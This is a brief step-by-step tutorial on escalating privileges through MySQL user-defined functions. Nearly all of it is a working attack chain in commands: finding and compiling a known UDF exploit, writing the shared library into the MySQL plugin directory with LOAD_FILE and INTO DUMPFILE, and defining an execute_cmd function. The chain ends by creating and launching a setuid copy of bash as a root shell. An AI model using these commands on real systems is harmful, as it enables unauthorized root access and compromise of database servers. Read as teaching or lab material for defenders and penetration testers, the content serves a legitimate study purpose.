Exploiting MySQL User-Defined Functions for Privilege Escalation
User-Defined Functions (UDFs) in MySQL enable the creation of custom functions for use in SQL queries, allowing users to perform specialized operations within the database.
Prerequisites for exploitasion:
- Access to a MySQL account with CREATE, INSERT, and DELETE privileges.
- The
secure_file_privsystem variable must be set to an empty value, permitting file operations across all directory. This variable can be:NULL: No file operations allowed.'': File operations permitted in any directory.'/specific/path': Restricted to the specified directory.
Identify relevant exploits using search tools:
searchsploit mysql udf
searchsploit mysql udf -m 1518.c
Compile the exploit source code into a shared library:
gcc -c -fPIC exploit_source.c
gcc -shared -o custom_udf.so compiled_object.o -lc
Transfer the compiled library to the target environment, such as a Docker container:
docker cp ./custom_udf.so container_id:/target/path/
Connect to the MySQL database and verify conditions:
mysql -u root -p
SELECT CURRENT_USER();
SHOW VARIABLES LIKE 'secure_file_priv';
SHOW VARIABLES LIKE 'plugin_dir';
If the account has root privileges and secure_file_priv is empty, proceed with the exploitation.
Create a table to store the shared library as binary data:
CREATE TABLE temp_storage(data BLOB);
Load the library file into the table and export it to the MySQL plugin directory:
INSERT INTO temp_storage VALUES(LOAD_FILE('/tmp/custom_udf.so'));
SELECT data FROM temp_storage INTO DUMPFILE('/usr/lib/mysql/plugin/custom_udf.so');
Define a UDF using the exported library:
CREATE FUNCTION execute_cmd RETURNS INTEGER SONAME 'custom_udf.so';
Veerify the function creation:
SELECT * FROM mysql.func;
Execute system commands via the UDF:
SELECT execute_cmd('cp /bin/bash /tmp/priv_bash && chmod +s /tmp/priv_bash');
Run the privileged shell:
/tmp/priv_bash -p